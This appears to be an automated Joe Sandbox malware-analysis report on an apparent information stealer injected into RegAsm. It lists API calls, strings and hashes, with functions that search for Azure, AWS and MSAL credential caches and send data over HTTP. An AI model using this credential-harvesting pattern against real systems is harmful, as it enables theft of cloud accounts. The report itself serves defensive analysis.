lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,015028D0,00000000,?,015004C8,00000000,?,00421A1C), ref: 00405E71
lstrlenA.KERNEL32(00000000), ref: 00405E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00405E93
HeapAlloc.KERNEL32(00000000), ref: 00405E9A
lstrlenA.KERNEL32(00000000), ref: 00405EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405EC6
lstrlenA.KERNEL32(00000000), ref: 00405ED8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405EF1
memcpy.MSVCRT(?), ref: 00405EFE
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F4C
InternetCloseHandle.WININET(00000000), ref: 00405FB0
InternetCloseHandle.WININET(00000000), ref: 00405FBD
HttpOpenRequestA.WININET(00000000,015027E0,?,01502088,00000000,00000000,00400100,00000000), ref: 00405BF8

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00405FC7

Strings

------, xrefs: 00405A96
------, xrefs: 00405C0B
", xrefs: 00405CD5
------, xrefs: 00405D4C
", xrefs: 00405E16

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1406981993-2180234286
Opcode ID: ff2809e59d642d75ae2231e13152c341e448feed54d3c5b347b93c7988f4c107
Instruction ID: 7b5b204680124ce1d4beb717fdfef1c68a0c63715f2d18b0248442adb904f056
Opcode Fuzzy Hash: ff2809e59d642d75ae2231e13152c341e448feed54d3c5b347b93c7988f4c107
Instruction Fuzzy Hash: 20124071821118ABCB15FBA1DC95FEEB378BF14314F50419EB10A62091DF782B9ACF69

Function 0040A790 Relevance: 40.8, APIs: 22, Strings: 1, Instructions: 538
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0040AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0040ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,014FAC48,014FABD8), ref: 0040A8B0

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,014FACF8,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrcatA.KERNEL32(?,00000000,00000000,014FAC98,00421318,014FAC98,00421314), ref: 0040ACEB
lstrcatA.KERNEL32(?,00421320), ref: 0040ACFA
lstrcatA.KERNEL32(?,00000000), ref: 0040AD0D
lstrcatA.KERNEL32(?,00421324), ref: 0040AD1C
lstrcatA.KERNEL32(?,00000000), ref: 0040AD2F
lstrcatA.KERNEL32(?,00421328), ref: 0040AD3E
lstrcatA.KERNEL32(?,00000000), ref: 0040AD51
lstrcatA.KERNEL32(?,0042132C), ref: 0040AD60
lstrcatA.KERNEL32(?,00000000), ref: 0040AD73
lstrcatA.KERNEL32(?,00421330), ref: 0040AD82
lstrcatA.KERNEL32(?,00000000), ref: 0040AD95
lstrcatA.KERNEL32(?,00421334), ref: 0040ADA4
lstrcatA.KERNEL32(?,00000000), ref: 0040ADB7
lstrlenA.KERNEL32(?), ref: 0040AE0D
lstrlenA.KERNEL32(?), ref: 0040AE1C
memset.MSVCRT ref: 0040AE6B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0040ABD4

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessmemcmpmemset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4068497927-2709115261
Opcode ID: ced0eff40efd9150bf7058c5f0a69ec6d957ab4e1add547d67db042548885a46
Instruction ID: fed50cc6e1efdc3a052f26cf913ed6c17941c683d425eb673400a9e06eca0bf1
Opcode Fuzzy Hash: ced0eff40efd9150bf7058c5f0a69ec6d957ab4e1add547d67db042548885a46
Instruction Fuzzy Hash: D6127375951104ABDB04FBA1DD96EEE7339BF14314F50402EF407B2091DE38AE9ACB6A

Function 00414D70 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414D87

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414DB0
lstrcatA.KERNEL32(?,\.azure\), ref: 00414DCD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

memset.MSVCRT ref: 00414E13
lstrcatA.KERNEL32(?,00000000), ref: 00414E3C
lstrcatA.KERNEL32(?,\.aws\), ref: 00414E59

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

memset.MSVCRT ref: 00414E9F
lstrcatA.KERNEL32(?,00000000), ref: 00414EC8
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00414EE5

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,014FAB38,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96

memset.MSVCRT ref: 00414F2B

Strings

Azure\.aws, xrefs: 00414E5F
zaA, xrefs: 00414DF1, 00414E7D, 00414F09, 00414F34, 00414DF4, 00414E80, 00414F0C
\.aws\, xrefs: 00414E4D
\.IdentityService\, xrefs: 00414ED9
*.*, xrefs: 00414E64
msal.cache, xrefs: 00414EF0
Azure\.azure, xrefs: 00414DD3
Azure\.IdentityService, xrefs: 00414EEB
\.azure\, xrefs: 00414DC1
*.*, xrefs: 00414DD8

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$Findwsprintf$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zaA
API String ID: 2615841231-156832076
Opcode ID: db1a216aedd74860a16951c3aec18e6188285cd10d194618a9ff1a8e438ec7e3
Instruction ID: 18812f4626155d1e2a42465cb68794f5c6847905bec5d07e7ac1139e0e5490f3
Opcode Fuzzy Hash: db1a216aedd74860a16951c3aec18e6188285cd10d194618a9ff1a8e438ec7e3
Instruction Fuzzy Hash: 3141D6B9A4031467C710F7B0EC47FDD3738AB64704F404459B645660C2EEB897D98B9A

Function 0040CEF0 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,015003D8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01501A30,00420B53), ref: 0040CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0040D0CE
lstrcatA.KERNEL32(?,00000000,014FAC98,00421474,014FAC98,00421470,00000000), ref: 0040D208
lstrcatA.KERNEL32(?,00421478), ref: 0040D217
lstrcatA.KERNEL32(?,00000000), ref: 0040D22A
lstrcatA.KERNEL32(?,0042147C), ref: 0040D239
lstrcatA.KERNEL32(?,00000000), ref: 0040D24C
lstrcatA.KERNEL32(?,00421480), ref: 0040D25B
lstrcatA.KERNEL32(?,00000000), ref: 0040D26E
lstrcatA.KERNEL32(?,00421484), ref: 0040D27D
lstrcatA.KERNEL32(?,00000000), ref: 0040D290
lstrcatA.KERNEL32(?,00421488), ref: 0040D29F
lstrcatA.KERNEL32(?,00000000), ref: 0040D2B2
lstrcatA.KERNEL32(?,0042148C), ref: 0040D2C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D2D4
lstrcatA.KERNEL32(?,00421490), ref: 0040D2E3

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,014FACF8,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(?), ref: 0040D32A
lstrlenA.KERNEL32(?), ref: 0040D339
memset.MSVCRT ref: 0040D388

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

DeleteFileA.KERNEL32(00000000), ref: 0040D3B4

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: d6f2d6b1cef7fab6a877228a83399a222af4b6dabdae855cd259993beb0448bd
Instruction ID: 94f9062ed3f4a6e26da847402fe0a382ec35b8ad99342330bde04fa79d6a5422
Opcode Fuzzy Hash: d6f2d6b1cef7fab6a877228a83399a222af4b6dabdae855cd259993beb0448bd
Instruction Fuzzy Hash: D2E17D75950108ABCB04FBE1DD96EEE7379BF14304F10405EF107B60A1DE38AA5ACB6A

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
StrCmpCA.SHLWAPI(?,01502750), ref: 00406303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,01502088,00000000,00000000,00400100,00000000), ref: 00406385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D
InternetCloseHandle.WININET(00000000), ref: 004064EF
InternetCloseHandle.WININET(00000000), ref: 004064F9
InternetCloseHandle.WININET(00000000), ref: 00406503

Strings

GET, xrefs: 0040637C
ERROR, xrefs: 00406407
ERROR, xrefs: 004064C9

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: b0c7de0145d63b70ce53b1e8b83d9b49617bc25b5baf4ddabad6d870445ee4ad
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: b0c7de0145d63b70ce53b1e8b83d9b49617bc25b5baf4ddabad6d870445ee4ad
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 00415510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,014FACF8,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415857

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 004152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 0041532F
Part of subcall function 004152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 00415383
Part of subcall function 004152C0: strtok.MSVCRT(00000000,?), ref: 0041539E
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 004153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415A0C
Sleep.KERNEL32(0000EA60), ref: 00415A1B

Strings

ERROR, xrefs: 00415932
ERROR, xrefs: 004159FE
ERROR, xrefs: 0041577D
ERROR, xrefs: 00415849
ERROR, xrefs: 00415636
ERROR, xrefs: 00415693

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 8d487e1654f754ba5a0761ee3c5de5ee89a113c5c6ab67c4e72828168a8328fb
Instruction ID: 0baa471f6470c30cedeccf0ca5f41b7a1b3666a88d5ff2061c329f06e4daefd3
Opcode Fuzzy Hash: 8d487e1654f754ba5a0761ee3c5de5ee89a113c5c6ab67c4e72828168a8328fb
Instruction Fuzzy Hash: 5BE18675910104AACB04FBB1DD52EED733DAF54314F50812EB406660D1EF3CAB9ACBAA

Function 00418320 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

RegOpenKeyExA.KERNEL32(00000000,014F6718,00000000,00020019,00000000,004205B6), ref: 004183A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

%s\%s, xrefs: 0041844D
?, xrefs: 0041837A
- , xrefs: 004185A3

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
